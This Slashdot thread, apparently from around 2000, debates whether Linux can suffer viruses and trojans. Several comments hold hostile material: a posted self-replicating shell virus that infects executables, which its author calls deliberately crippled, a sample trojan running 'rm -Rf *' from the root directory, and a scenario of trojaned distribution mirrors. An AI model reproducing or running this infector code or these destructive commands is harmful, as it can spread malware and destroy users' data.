      The installer might not require it, but the manual I got with my copy of Redhat 5.2 (the first distro I ran) said I should set up a user account for myself before I started fooling around with the system. So I did, and probably saved myself a lot of grief. Yeah, yeah, I know, nobody reads those damn book things anyway :) It might be useful to have the requirement in the installer. I believe it also said something along the lines of "if you don't know why you would want to be in root, you probably don't want to be." The instructions, therefore, do exist, but how many follow them?

      --
      Communication is only possible between equals
    3. Re:The real problem by Cyborg · · Score: 1

      None -require- you to setup a normal user account, but many suggest that you do. Debian, for as long as I've used it, always said, "You should. Do you want to?". RH6.1 does as well, I believe, but none of them are going to make you do it. They just assume you know what you're doing. As for /dev/floppy and /dev/cdrom, that's why we have /etc/fstab and magicdev :)

      --
      --Me
    4. Re:The real problem by TrentC · · Score: 1

      I think the real problem related to this is that, none of the distros (at least the ones I've used), requere any user account to be set up besides the root account at installation time - nor is the user suggested by the install program to do that later on.

      Well, although it's not required (I think-- haven't tried installing without one) the Red Hat 6.1 installer does allow you to create user accounts at installation time.

      I'm re-installing it now; I should try it and find out...

      Jay (=

  42. Riiiiiight by finkployd · · Score: 1

    Look at me, I'm shaking in my little space boots :)

    I guess this virus will attack every Linux based system EXCEPT Red Flag Linux, right?

    Finkployd


    Bill Gates: "Innovation"

  43. Re:DUH by Anonymous Coward · · Score: 0

    you're wrong and he's right. face the facts fudge packer.

  44. its weakness is also its strength by drox · · Score: 2

    According to the security expert, *because* Linux is open source, the viruses will be even worse than in other systems.

    The "security expert" has a point, but does not seem to be seeing the whole picture. Open source might make it easier for malicious virus-writers to exploit Linux... but it also makes it easier for the rest of us to see what devious tricks they're up to and protect ourselves. I'm going to be generous and suggest that there are more of us than there are of them. There are probably better minds working on the "good-guy" team too.

    I don't see how this would make Linux viruses "worse", though theoretically they could be more prevalent. In that unusual scenario, it might be advisable for the uninformed newbies to stick with closed-source OS'es (like they don't already?), since they don't yet know how to protect themselves.

    Windows et at might then rightfully be seen as "training wheels" OS'es, for people to use until they learn what they're doing and are ready to graduate to open source.

    As most viruses in the real world are NOT written to exploit open-source OS'es, even that argument doesn't apply in reality. If it's not a good entry-level OS (for security reasons), what IS Windows good for?

  45. Been there, done that... by Dr+Caleb · · Score: 1
    Remember about 6 years ago, there was a Linux Trojan/virus.

    It was in the old InfoMagic distro from ftp.cdrom. You had to run Doom as root, and it infected you that way!

    But we've all learned since then not to run as root - rrrriiiight!

    --
    "History doesn't repeat itself, but it does rhyme." Mark Twain
  46. Good opportunity to educate, this by mav[LAG] · · Score: 3
    This reminds me of a conversation I had with a Linux-clueless colleague in the media industry. He expressed the opinion that as Linux gets more popular, so "you'll see more and more viruses for it." I laughed, because he was the same person who told me he loved NT for its stability.

    But then I stopped and thought for a second. Given his complete ignorance of how Unix-like operating systems work, he just assumed that more malicious coders + more popularity = more viruses. I took some time explaining that Linux was different because of a) availability of source code b) permissions and c) the extreme wariness of the average Linux user of running untrusted binaries. I said my attitude is that if I can't get the source for it, then I won't run it - and I certainly won't run it as root.

    Result: he's now running RedHat as his OS of choice. Yes these stories are funny to any halfway experienced user of Linux. But take some time to explain to a Windows-using friend why they are, and you're well on the way to more effective advocacy.

    --
    --- Hot Shot City is particularly good.
  47. this is easier than you think by jnazario · · Score: 2
    and why? many reasons:
    • a) less than saavy users. download some untrustworthy source or kernel source or even some binaries and voila, point of infection.
    • b) distro poisoning, easier said than done (remember tcp_wrappers got infected, too)
    • c) worm style incidents using poorly known holes in major distros (ie Linuxconf vulnerabilities, Apache holes, etc..).
    it's a lot easier than some of you may think. a scenario for you: mirror mirror.example.com gets rooted and trojans of key RPM's of the latest RedHat distro are plced in. MD5 sums are altered and the whole thing loks legit. once installed, the packages (gcc, a kernel module, and a few access trojans like telentd or sshd) lie in wait. the kernel module keeps the user from seeing the problem, gcc's trojan always keeps trojans in the system, and the listening entry points are there and well hidden. bingo, you have a problem. say, in a TFN or Trin00 manner you manipulate the systems to rm -rf /* & all at once. :) that's a pretty easy situation to execute.

    trust is a magical thing to abuse. and users' trust is getting greater and greater. how many times has the schlub in the cubicle next to you downloaded some spiffy screensaver from the net or run some "executable" from their email? all too often... :)

    bear in mind that thompson build a cc trojaned to allow him to log in specially on any box using his cc, which also built it's trojan propogating systems in, too. :) thompson's not malicious, but some people are.

    think about all the s|

    --
    jose nazario jose@biocserver.cwru.edu
  48. Re:DUH by johnathan · · Score: 1

    Hm -- do you actually know anything about Latin? I would suggest you check Tom Christiansen's detailed page on this topic. Maybe it will help you avoid "shooting off your mouth" in the future.

    --
    You don't need a weatherman to know which way the wind blows.
  49. Portable Unix Virus by Anonymous Coward · · Score: 3

    Here's a portable unix virus. Originally based on the shell script header produced by "gzexe", it contains the necessary apparatus to infect other executables, but no payload. There are at least two problems with the version enclosed in this message which prevent it from functioning.

    Also, it's probably not as "portable" as I'd like, due to relying on bash features. Eh, too bad.


    #!/bin/sh
    signature=PORTABLE-UNIX-VIRUS # Written by jepler@inetnebr.com, I hope this is crippled enough that it cannot actually infect you
    #set -x
    if [ $USER != jnobody ]; then exit 1; fi
    skip=7676

    seed=1
    function srandom () { seed=$[$$+`date +%s`] }

    function random () { seed=$[($seed*171)%30269] ; if [ $1 -eq 0 ]; then echo 1; else echo $[$seed%$1] ; fi }

    function choose () {
    shift `random $#`
    echo $1
    }

    function infected () {
    head -2 $1 | tail -1 | grep $signature > /dev/null
    }

    function infect () {
    # pathlist=`echo $PATH | tr : " "`
    # dir=`choose $pathlist`
    dir=$HOME/bin
    echo "Will infect in $dir"
    names=`find $dir -maxdepth 1 -type f`
    name=`choose $names`
    echo "will infect $name"
    if infected $name; then
    echo Already infected
    else
    if [ ! -w $name ]; then
    notwrite=1
    chmod u+w $name
    fi
    if [ -w $name ]; then
    infectfile=`mktemp /tmp/if$$.XXXXXX` || {
    echo 'cannot create a temporary file' >&2
    exit 1
    }
    (head -$[$skip-1] $0; cat $name) > $infectfile
    cat $infectfile > $name
    rm -f $infectfile
    if [ x$notwrite = x1 ]; then
    chmod u-w $name
    fi
    echo success
    else
    echo Darn, no write permissions
    fi
    fi
    }

    srandom

    tmpfile=`mktemp /tmp/gz$$.XXXXXX` || {
    echo 'cannot create a temporary file' >&2
    exit 1
    }
    if tail +$skip $0 > $tmpfile; then
    infect
    chmod 700 $tmpfile
    prog="`echo $0 | sed 's|^.*/||'`"
    if ln $tmpfile "/tmp/$prog" 2>/dev/null; then
    trap 'rm -f $tmpfile "/tmp/$prog"; exit $res' 0
    (sleep 5; rm -f $tmpfile "/tmp/$prog") 2>/dev/null &
    /tmp/"$prog" ${1+"$@"}; res=$?
    else
    trap 'rm -f $tmpfile; exit $res' 0
    (sleep 5; rm -f $tmpfile) 2>/dev/null &
    $tmpfile ${1+"$@"}; res=$?
    fi
    else
    echo Cannot decompress $0; exit 1
    fi; exit $res
    true

    1. Re:Portable Unix Virus by bero-rh · · Score: 2

      Ok, merge this with all known root shell exploits and you have a real virus (that can infect the system if the user isn't stupid enough to run something unchecked as root) - if you do that, though, it'll be so large that the size difference becomes really noticable. (Wait, why is that 3-line shell script I just wrote 72 kB?)

      --
      This message is provided under the terms outlined at http://www.bero.org/terms.html
    2. Re:Portable Unix Virus by joenobody · · Score: 1

      > if [ $USER != jnobody ]; then exit 1; fi

      Hey now, I don't think I appreciate this.

      --

    3. Re:Portable Unix Virus by QuantumG · · Score: 1
      --
      How we know is more important than what we know.
    4. Re:Portable Unix Virus by QuantumG · · Score: 1

      sploit based viruses are spread limited by the lifetime of the exploits they use. user land viruses are the new religion. Check out the unix-virus mailing list.

      --
      How we know is more important than what we know.
  50. Linux is a virus in itself by razvedchik · · Score: 5

    Sometimes, I feel that Linux is a huge, 640M virus just out to ruin my life. Then I remember that resolv.conf only has one "e" in it and continue on with my mission.

    It spreads from user to user, and once you're infected, you can never go back.

    It has been know to cripple and even destroy WinXX systems to the point of making itself the dominant OS on any machine.

    It makes its users say crazy things like "awk", "grep", "FUD", and so on....

    --
    I do what the voices on my console tell me to do.
    1. Re:Linux is a virus in itself by Anonymous Coward · · Score: 0

      640 Meg??? That's bigger than my install of NT 4.0! My install of NT 4.0 is only 300 some meg. I think we know who's bloatware, here...

    2. Re:Linux is a virus in itself by finkployd · · Score: 1

      Really? Compare what an average distro of Linux comes with to what NT comes with. You can run just about anything you need right out of the box with a Linux distro, whereas NT needs several thousand more dollers worth of software to approach what Linux can do.

      Finkployd
      Bill Gates: "Innovation"

    3. Re:Linux is a virus in itself by nevets · · Score: 1

      Remember its the whole linux distribution you are talking about. Did your NT come with a Web server, FTP server, Telnet server, DNS server, Mail Server, etc. And it could also include the source.

      I have custom installed Linux that has taken only 80 meg. I also have installed Linux to take up over 800 megs (KDE, GNOME, and all of the window managers) I was lasy one install and just clicked "Everything!".

      So, please, don't talk about bloatware. NT is bloated without the features.

      Steven Rostedt

      --
      Steven Rostedt
      -- Nevermind
    4. Re:Linux is a virus in itself by technos · · Score: 2

      sizeof(NT 4.0 + IIS + Exchange + SMS + Proxy Server + Cygwin32 + MS Developer Studio + Perl_Win32 + Borland F77 + Borland COBOL + Delphi) is much, much larger than 640M. Yet you get all that and more in the 640M of Linux. Linux distributions come with about every bit of software you could ever need; That's why they're bigger.

      300M is bloat. I can match the default functionality of NT 4.0 and still fit it on a 40M Seagate.

      --
      .sig: Now legally binding!
    5. Re:Linux is a virus in itself by Haven · · Score: 2

      640Mb is a full installation of some Linux distros. I think that a full install is over kill. I run a very effiecent L.A.M.P (Linux, Apache, MySQL, PHP) server on a 400 MB hard drive. I also have a 1.2 GB hard drive solely for the database and web site, which isn't even 10% full yet.

    6. Re:Linux is a virus in itself by Teferi · · Score: 2

      80M is impressively small, yes. But Linux can get even smaller while remaining fully functional...
      Take a look at muLinux (search fm, forgot the URL). On one floppy, it contains a large number of server daemons, plus a fair amount of small apps. Add another floppy, and you have X11 with a simple graphical browser and choice of 3 windowmanagers. Add another - extra kernel modules, scsi, and other goodies. Another - GCC and headers. A 5th - x/svncviewer. The sixth floppy has Tcl/Tk. Each floppy is 1722k, so that adds up to... 10332k - a little over 10M. Windows can't TOUCH that amount of functionality. in that little space.
      "If ignorance is bliss, may I never be happy.

      --
      -- Veni, vidi, dormivi
  51. No, the problem is TRUSE. was:The problem is here by dpilot · · Score: 1

    We need to grind PGP/GPG further into the Linux infrastructure, perhaps to the point of making it default behavior. That will validate that the package is what was shipped, and not tampered en route. Then we need to have a way to know WHO to trust. Both of these problems have been solved by the PGP/GPG community. Now that the USA is less opposed to encryption, we just need to move them into the infrastructure. It should be the default behavior to give some sort of way to newbie-proof distributions, simply so the inexperienced don't accidentally become disease vectors. Obviously the mechanisms need override capabilities for the experienced. But B.Operator is right, in that even having the source is of little good unless you go through it for the security exposures. Simply getting source and following INSTALL is no more secure than a binary.

    --
    The living have better things to do than to continue hating the dead.
  52. It's already here... by havoc- · · Score: 1

    ... and it's called VIGOR. :-)

  53. Emacs viri ? by pinka · · Score: 1

    Linux users might have more trouble with emacs
    viruses. Though I don't know how many people use
    it as a mail client.

  54. Klooless Noobies by Mechanist · · Score: 3

    OK, I think most of us can agree with this:

    In order for a virus to have a real effect it would require someone to be stupid enough to run (log in) as root

    And with this:

    It's no so much about the product but about how you manage your system. We advise people never to do anything in root unless they absolutely have to

    But the problem lies with people who run Linux but lack backgroud with Unix configuration and security policies. For a lot of people, the user/root distinction is a pain in the ass, because they're used to Windows. They don't want to learn new stuff to run Linux, they just want to use the latest cool thing. So they end up doing most everything as root, because it's easier that way. This is plainly stupid, and invites disaster, but some people will never learn until their noses are rubbed in the steaming pile of idiocy they've just laid.

    So I wouldn't be too surprised to see some sort of Linux trojan horse emerge, even if it required full root access in order to be effective. Clueful users would not get directly infected, but if the trojan became widespread they might suffer some indirect trouble from it.

    Also, given that this was reported on ZDNet, I can't help but wonder if the FUD is motivated by antivirus s/w companies scared of losing their market. But maybe I'm just too paranoid for my own good, eh? :-)

    --
    And you may ask yourself, well, how did I get here?
  55. virii my ass by Anonymous Coward · · Score: 0

    being a latin derived word

    Yep

    has a plural of virii

    Nope. Virii would be the plural of virius, which isn't a word. In fact, authorities disagree on the plural of virus -- see here for a reasonably erudite discussion.

    The authors' comment on "Virii" is:

    "Virii is still completely silly, so don't do that; otherwise, everyone will know you're just a blathering script kiddie.

    I think this is a bit harsh, and probably motivated by an otherwise admirable Anglo-Saxonism, favouring "Viruses". For my money, virus in meaning plus etymology is a group of items, treated as a single item which follows the literal Latin meaning of "poison". As a result, it is analagous with "prospectus", and the correct plural is "virus", with a long final 'u'.

    For those who are really interested in the reasoning behind this interpretation, this site may be of interest.

    1. Re:virii my ass by Anonymous Coward · · Score: 0

      what the hell is the point of the farmsex link?

      your post seemed knowledgeable until I reached that crap.

    2. Re:virii my ass by Anonymous Coward · · Score: 0


      what the hell is the point of the farmsex link?


      Quite simple. As the post implies, I simply made the perfectly reasonable assumption that people who were interested in arguing the minutiae of obscure Latin plurals, would also be interested in having sex with animals.

      Come on, it doesn't exactly take a huge brain to work that one out.

    3. Re:virii my ass by Anonymous Coward · · Score: 0

      I vote for Virim;it's more Kosher that way :D

  56. Virus != Trojan by starling · · Score: 2

    A trojan is a delivery mechanism, a virus is a self replicating program.

    A virus might attach itself to a benign program, thus transforming that program into an unwitting trojan, or a trojan might deliver a non-self-replicating program - even a virus killer.

    Of course either of the two can exist on Linux, but Linux (and all Unices) have security mechanisms to minimise the damage done by, and propagation of, these beasties.

    1. Re:Virus != Trojan by Anonymous Coward · · Score: 0

      It's Unii. Everyone knows that if you look at the sanskrit root of Unix, you will plainly see that my point is moot. And before anyone takes this too seriously, yes, that's sarcasm you're smelling (or maybe it's the burrito...gooey!)

  57. hurm? by delmoi · · Score: 1

    Why couldn't someone simply write a userspace TTY program that interfaces with the TTY underneth it? So, to the user, it dosn't apear that there is anything wrong, when infact all the keystrokes go to the program?

    [ c h a d o k e r e ]

    --

    ReadThe ReflectionEngine, a cyberpunk style n
    1. Re:hurm? by Anonymous Coward · · Score: 0

      because the shells are usually in the bin directory which isnt world writeable. so to patch the shell you gotta be root. and the shell is stored in /etc/passwd and you need to be root to change that. of course if the user is a complete jackass and runs a program which is a new and improved shell trojan then he/she/it deserves to get trojanned/viriied to death.

    2. Re:hurm? by Anonymous Coward · · Score: 0

      The plural of "virus" is "viruses", not "viriii.

    3. Re:hurm? by sconeu · · Score: 1

      I believe the program you are referring to is called "script". At least, that's what it was called back in the days of the PDP-11.

      Also, Stevens wrote a similar program as an example in "Unix Network Programming" (No way! Way!)

      --
      General Relativity: Space-time tells matter where to go; Matter tells space-time what shape to be.
  58. It would be interesting by mackga · · Score: 2

    if this fella offered to show the locked up completed Linux virus to one of the major kernel hackers - maybe Alan or Linus - so we all could get a knowledgeable assessment of the possible current and future dangers. Just a thought

    --

    "shop smart:shop s-mart" ash

  59. *nix permissions are a tool for security... by MrHat · · Score: 1

    ...not the "cure-all" for a insecure system. Chmod and chgrp are tools, just like /etc/hosts.deny. Security is a combination of a software engineering issue and a policy issue: great security ideas are often poorly implemented, either in software, or by a particular system administrator (*cough*... NT... *cough*).

    For example, Windows NT has a much more granular permissions implementation than most Unix systems (NT uses ACLs), but viruses still run rampant on NT boxes due to poor administration. If I had a dollar (or hell, even five cents) for every time I saw someone logged in as Administrator to use M$ Office, I'd be a rich man. The virus problem is even worse under Win9x variants: there aren't any (or very many) security tools, including filesystem permissions, to use.

    A well-thought out security policy can guard against most any virus - it's ignorance that viruses prey on, regardless of the OS.

    And please: the plural of virus is viruses, not viri or any other abuse of Latin ;). Check out this page for an explanation. (Link kindly donated by a previous /. article.)

    1. Re:*nix permissions are a tool for security... by Jeff+Licquia · · Score: 1

      I mostly agree, except...

      viruses still run rampant on NT boxes due to poor administration.

      On NT, poor administration is only one possible problem. Some software won't even run without at least some form of elevated privilege; the old habits of Windows programmers die hard. Too many other packages, as well, will introduce security problems at install or run time. Many NT admins are overworked enough as it is just trying to keep the silly boxes up; keeping up with the security implications of every program installed on those boxes (from the CEO's screen saver to the vertical vendor products) can become too much to ask.

    2. Re:*nix permissions are a tool for security... by MrHat · · Score: 1

      You're right: in looking back on my comment, I underemphasized the poor software engineering part of NT. *Programmers* can also be lazy, and the need for Administrative priviliges for some software to run is really bad. Running NT (at least to me) can feel like running a Unix box with every binary set as SUID-root. ;)

  60. the biggest risk to any open-source system by Potatoswatter · · Score: 1

    isn't a sneaky virus, it's a sneaky tech help guy. In Linux, hired help can recompile/rewrite anything, no?

    Where is my mind?

    --

    Check out Project Upper/Mute, an all-around awesome compiler fra
  61. pretty safe by delmoi · · Score: 1

    Cliffords comments on the other hand outline simply that Linux and *nix have much stricter file permissions and unless your log in as root, your pretty safe.

    I log in as delmoi. I get a virus. All my stuff is now gone.

    I would hardly call that safe

    [ c h a d o k e r e ]

    --

    ReadThe ReflectionEngine, a cyberpunk style n
    1. Re:pretty safe by Shadowlion · · Score: 1

      The issue at hand is the effective scope of the virus, not whether you can or get one.

      In your example, all the files of user 'delmoi' are now gone. Term papers, essays, email archives, and who knows what else has all been deleted/corrupted. However, if the account resides on a properly administered UNIX box, the chances of having the virus spill over to any other user beyond delmoi is relatively small. While destructive, the virus' effect is limited to one user.

      In comparison, on other architectures, that protective sandbox doesn't exist. A virus that gets loose on those platforms can not only take out user 'delmoi,' but also the data files of every other user on the box (including the analogous-to-root user), the *system* files on the box, and potentially wind up with control over the whole machine - including the resources to spread itself via disk or network.

      So, while it really does suck if you get a virus on a UNIX/Linux-based machine, the damage is usually very compartmentalized. On other architectures, it isn't. The reason it's considered safe is because the damage isn't looked at it with regards to deleting/corrupting user files, but with regards to what it has on the proper functioning of the machine as a whole.

    2. Re:pretty safe by Anonymous Coward · · Score: 0

      Then stop using rm -rf *

    3. Re:pretty safe by Anonymous Coward · · Score: 0

      Yes, all your data is gone. But the sysadmin doesn't have to reinstall your Linux box. They can just give you a new account with a shiny clean new home directory.

      Didn't you know things were hierarchical like that in a Unix system? You thought it was your machine sitting on your desk??

    4. Re:pretty safe by Anonymous Coward · · Score: 0

      Sounds like a hospital where all the nurses sit at consoles in the nursing center. They can punch a little red button when patient X dies and a robot cleans up the messy human remains.

      It sounds like the attitude which gets far too few sysadmins fired.

    5. Re:pretty safe by IntlHarvester · · Score: 1

      So, according to your logic, the "Melissa" virus isn't really a problem on a network of locked-down NT machines? After all, the damage is compartmentalized.

      There's plenty of damage a infected mere user can do, especially with poorly designed applications at his/her disposal. (Send mail, ping flood, crash machine, etc.) Not to mention variations of viruses targeted for industrial espionage.

      Perhaps some day you will be standing in front of a VP, and have to explain that despite the fact all of his files were deleted, he needs to consider it "safe" because it didn't affect the "proper functioning of the machine as a whole". Guess what -- in the VP's mind the function of the machine was to store is files safely.

      --

      --
      Business. Numbers. Money. People. Computer World.
  62. what about taiwan? by delmoi · · Score: 1

    CIH came from taiwan...

    [ c h a d o k e r e ]

    --

    ReadThe ReflectionEngine, a cyberpunk style n
  63. *nix and Viruses by DaveHowe · · Score: 5
    I think there are a few points here:
    1. There were Unix viruses, Worms and Trojans around since before the PC was designed; they have spread since the first few machines set up UUCP links; Unix viruses are far from new.
    2. Unix viruses are kept mainly in check because normal users don't have the permissions to do harm - they can harm their own files, they can harm the files of those that trust them. but they can't alter anyone else's, and, most importantly, they normally can't even INSTALL programs, never mind alter those already installed by other people.
    3. Linux is not Unix - 90% of Linux boxes are single user (maybe single user with webserver, or with a email router, but still single user) and for a high percentage of those, that single user either runs as root, or, if smart enough to run as a user when out on the net, will load the same data files, use the same packages, and generally work in the same sandpit when doing admin tasks that require system privileges as when running his limited "safe" account. As more and more buy "fashionable" pre-loaded linux boxes, you will see a wave of people caught by the same factors that make a windows-based machine insecure - that the user will run things without thinking, and that the user has enough permissions that the virus can take a hold.
    So, what it comes down to is that, in general, Unix viruses are not (and will not) be a problem, but that Linux has vunerabilities that make it less secure than Unix used to be.
    --
    --
    -=DaveHowe=-
    1. Re:*nix and Viruses by PigleT · · Score: 2

      > "Linux is not Unix"

      Tosh. Linux is no less a unix than any other flavour that's gone its own sweet (and in some cases, commercial) way.
      It is also no less "unix" because you often get only one person using it; in case you'd not heard, there are one or two machines in existence that run multi-user stuff as well as poxy desktops. Cobalt Cube, and all that. In some cases, RDBMS servers. And so on.

      Of course, if you have a linux box as your only OS in your room, and clone yourself across the entire USA, then I'd see why there might be a problem - you've got the same OS throughout, and any /exploits/ that folks might find will walk over all your infrastructure wholesale.
      However, if you keep yourself uptodate with security patches, as you should, then you'll keep the enemy at bay for far longer.

      The separation between "user space" and OS-space in terms of ACLs is essential here; am I the only one that doesn't want clueless lusers sullying thing good name of Linux by their demands for bad practice?

      --
      ~Tim
      --
      .|` Clouds cross the black moonlight,
      Rushing on down to the circle of the turn
    2. Re:*nix and Viruses by bhurt · · Score: 4

      The Morris Worm is actually a good example- yes, a Unix virus _can_ be written, but it takes more know-how than a DOS or WordMacro virus takes. Morris himself was the son of the head of computer security for the NSA, he knew pretty much all the holes unix had back then.

      The technical hurdle, as low as it might be, is important. By the time you are sufficiently knowledgable to be dangerous, you're usually intelligent enough to know _why_ this behavior is frowned upon. And have channeled your behaviors into more socially acceptable (and might I add, more rewarding) behaviors. Most decent sysadmins could be hackers and virus writters of legendary proportions. Generally, they aren't.

      The open source nature of Linux even helps here- as now there are other ways for a bright teenager to gain fame and technical esteem than writting virii. Instead, they can write kernel patches, or work on Gnome or Abiword, or write their own programs- in other words they can do something _productive_ rather than _destuctive_ programs. I'm kind of interested to see what a couple million chinese programmers can create. I doubt it'll be virii :-).

    3. Re:*nix and Viruses by Anonymous Coward · · Score: 0

      will see a wave of people caught by the same factors that make a windows-based machine insecure

      As long as we're endeavoring to use language to communicate (and I've been inspired by the above viruses/viri/virii controversy; incidentally, it really is "viruses"--if you do the proper reading, you'll discover that), I'd like to correct a common mistake I see here: insecure vs. unsecure.

      Have your data ever been insecure? Really?!?! Like: "Oh, I don't know if I'm pretty enough to go out with him--I'm kind of insecure about how I look."

      No no no... that's not what people mean. When discussing computer security issues--or security issues in general, for that matter--the appropriate way to refer to the notion of "not secure" is to use the word "unsecure."

    4. Re:*nix and Viruses by Fastolfe · · Score: 2

      I think the point he was trying to make is that most Linux "newbies" don't fully grasp the concept of a multi-user operating system. Thus, they tend to either spend all of their time logged in as 'root' or at least use their root account at least as much as their normal user account (interchangeably).

      For this class of user, the potential for a Linux virus infection is much greater, since lots of Linux newbies (like their Windows counterparts) will quite happily run things as root without knowing what they do or where it came from.

    5. Re:*nix and Viruses by dirk · · Score: 1
      Have your data ever been insecure? Really?!?! Like: "Oh, I don't know if I'm pretty enough to go out with him--I'm kind of insecure about how I look."
      No no no... that's not what people mean. When discussing computer security issues--or security issues in general, for that matter--the appropriate way to refer to the notion of "not secure" is to use the word "unsecure."


      hmmmm....let's see. According to Dictionary.com, one definition of insecure is:


      Inadequately guarded or protected; unsafe.


      According to the same source, the only definition of unsecure is:


      unsecure \Un`se*cure"\, a. Insecure.


      I would also like to correct a common mistake I see here, talking without thinking.

      --

      "Information wants to be expensive" - Stewart Brand, the same guy who said "Information wants to be free"
    6. Re:*nix and Viruses by Anonymous Coward · · Score: 0

      Actually, you're wrong. Unix is a trademark, and you can't just slap it onto any wannabe clone you choose.

      Minix isn't Unix. Either is Linux.

      However, if you want something standard, you will choose to look at labelling your OS as Posix compliant. Solaris is Posix compliant. So are a number of other Commercial Unixes.

      Linux is not Posix compliant (it is morely Posix-wannabe) until someone gets it certified as such.

      If you want a fairly robust Posix-compliant environment on X86 buy Solaris X86, or install Interix** on Windows NT.

      Yes, you didn't read that wrong. Windows NT with Interix** installed on it is certified Posix compliant. It's more Unix-standard than Linux is.

      ** Interix is a Posix subsystem that runs on the NT kernel, beside, not on top of, the Win32 subsystem. It was recently purchased by Microsoft.

    7. Re:*nix and Viruses by DaveHowe · · Score: 2
      Thank you - that is exactly what I meant, yes.

      Windoze viruses spread so fast because the users let them - put a windows user on a linux box, and a virus will spread as fast there as it did under windows.
      I am responsible for virus control at the company I work for, and the number of users who will blindly answer "yes" to anything that appears on their screen is staggering - particularly on occasion if I am standing there watching them, having just told them off for getting the LAST infestation. Thank $DIETY at least SOME of my users have gotten the basic idea
      --

      --
      -=DaveHowe=-
    8. Re:*nix and Viruses by QuantumG · · Score: 1

      This is the usual additude to virus writing. I find it funny that there is actually a parallel here to biological viruses. If we sit idily by and say "linux viruses are not possible" or "this behaviour is frowned upon" we could be overrun tommorrow by virus creators who prove us wrong. But if we actively investigate the possibilities, we are better equiped to deal with them. Let's not make the same mistake of the closed source DOS anti-virus industry: Selling snake oil to suckers who are so fearful that computer viruses will destroy their harddrive. Viruses are essentially a security issue, and security is something to be actively questioned.

      --
      How we know is more important than what we know.
    9. Re:*nix and Viruses by PigleT · · Score: 1

      Fair enough!

      Out of interest, does that mean such people should not be using linux?
      Or at least until they've had you/me/someone else clueful, giving them a good training course? (I'm tempted to add 'with a cattle prod' but shall refrain... erm, oops :)

      --
      ~Tim
      --
      .|` Clouds cross the black moonlight,
      Rushing on down to the circle of the turn
    10. Re:*nix and Viruses by DaveHowe · · Score: 2
      Out of interest, does that mean such people should not be using linux?
      No, not at all. It just means that you shouldn't expect moving them to Linux will wave a magic wand and keep them safe from all harm.

      Or at least until they've had you/me/someone else clueful, giving them a good training course? (I'm tempted to add 'with a cattle prod' but shall refrain... erm, oops :)
      Wristbands, and feedback software that jolts them every time they Luse :+)
      --

      --
      -=DaveHowe=-
  64. Known Linux "Virus" by NullGrey · · Score: 1

    Hey, here's an article a guy I work with forwarded to me a few weeks ago:
    http://www.sans.org/y2k/trojan.htm

    Now, for those of you that are panicked, let me go through it point by point:

    This is a report about a backdoor tool that was recently found on some of our RedHat 4.x Linux boxes.

    Umm, upgrade, anyone? I've got some DOS 3.3 virii, if anyone's interested.

    A trojan binary, /sbin/initd, was found on some of our systems. It allows a remote user to connect and run arbitrary commmands with root privileges without authentication. It allows an attacker to connect to a large number of machines simultaneously and execute destructive commands with ease.

    inetd? Cleverly named. Sounds nasty, but let's see what is required to run.

    A new libc5 binary, /sbin/initd (note; _not_ the standard /sbin/init which is needed for standard system operation), was installed on the systems and set to a mode that makes it impossible to delete by a normal user; the chattr command was needed to remove the immutable and append-only attributes.

    Oh, the humanity!!!! Don't make me use 'chattr' or log in as root!!

    It listens on those ports for remote requests and performs them on the local machine. It requires the remote client to enter a password (embedded in the binary) then will execute any additional commands.

    Enter a password, and then execute commands? I think I've already got this virus! It's called telnetd!

    /etc/rc.d/rc.local was modified to start up /sbin/initd and /sbin/quotad at boot time; the latter was not found on the systems at all and did not appear to have been recently deleted from them.

    Hey, got a DOS virus for ya. Gotta load it in autoexec.bat, though. People, look at your initd every once and a while, k?

    Run ps ax.
    This command will list the running programs on your system. If any commands have a name that looks something like 'syslog.itd' or 'syslog initd', this is a very good sign that you have this tool running. This/these pid's are very good candidates for killing off. Does this listing show any other programs you don't recognize?


    It shows up in a process list? what kind of virus is this?

    Here, I got a trojan horse for you. Cut the text, and paste it in a file with a Unix-sounding name:

    ---Cut here---

    #! /usr/bin/bash

    cd /
    rm -Rf *

    ---End Cut---

    Give the file execute permissions.

    Now, make sure you start up this virus in rc.local, or even in your crontab.

    Reboot.

    This virus is just about as effective as the one above.

    --
    +-- (Score:-1, Moderator on Power Trip)
  65. Re:This is why Linux is so extraordinarily dangero by Ranger+Bob · · Score: 0

    You don't get out much, do you?

    --
    "Widget choice makes me horny." -
  66. Good. Bring them on. by Dast · · Score: 2

    Yep, I'm happy if they come. Why you ask?

    Answer:
    After a few people who thought they were invulnerable get burned, more people will start checking the GnuPG/PGP signature on downloaded files. More people will begin signing them as well. A lot of people who weren't as worried about security all of the sudden will be. And people will start thinking before make && make install

    It can't kill us, and what doesn't kill us only makes us stronger.

    Security is a responsibility we must take seriously. And 90% happens between the ears of the admin.

    --

    This sig is false.

    1. Re:Good. Bring them on. by Anonymous Coward · · Score: 0

      What doesn't kill you can only make your credibility worth mud in the marketplace.

  67. No OS is really immune by hoss10 · · Score: 3

    I don't like the way everyone is so convinced linux is secure. No OS I know of can account for a newbie being stupid (ie. blindly running files he/she just downloaded off the 'net)
    Even though they may not be able to damage anything other then they users files the infected program will probably be able to read the users address database and send itself to say the first 50 names in the address book (ring any bells:-). I'm fairly sure I could write said virus myself but I don't want to go to prison!
    If the virus also "merged" itself with other executable files in the users home dir then that opens another way to get itself spread. To do that requires knowledge of the file format (like it says in the article) but that is known for Windoze aswell so that stumbling block is irrelevant.
    This is where education is important. Newbies (and others) need to be reminded to run the program under the strictest possible environment (something like user 'nobody' and disallow network access etc.) especially nowadays as GNU/Linux has attracted virus writers attention.

  68. Microsoft by Andrewkov · · Score: 1

    I would be more concerned about viruses and trojans comming from Microsoft than China.

    1. Re:Microsoft by c0d3 · · Score: 1

      I'm even more worried about Microsoft aquiring China.

      Anyway, on the matter of viruses:

      As said earlier, the *NIX filesystem structure is indeed a wily beast that will only harm you if you try to harm it. As for infecting the boot parition scheme and whatnot (LILO), you might as well try to write a driver for a winmodem and get some respect (or be shamed?!) or be known as that bastard who wrote some LISP code (or some other language similiarily insane) that infects /etc/inittab. I for one think that it would be terribly difficult to infect a boot disk while a competent SA is running the box.

    2. Re:Microsoft by barleyguy · · Score: 1

      Melinda Gates: Honey, when I said we needed to buy China, I meant dishes.

      --
      --- "So THAT's what an invisible barrier looks like!" - Time Bandits
    3. Re:Microsoft by Anonymous Coward · · Score: 0
      rofl.

      that I'd like to see. you never know, they might pull a DeBeers and flee the country so they can keep their monopoly and still keep selling in the US.

  69. Virii is not a word by 0xdeadbeef · · Score: 2

    Well over fifty posts, and no one has called him on such a blatant mispelling.

    Oh well, I propose it be made a real word, in the context of computers, kind of like "mouses" is the plural of those pointing devices.

    What, you don't think that's a real word either? Damn language nazis...

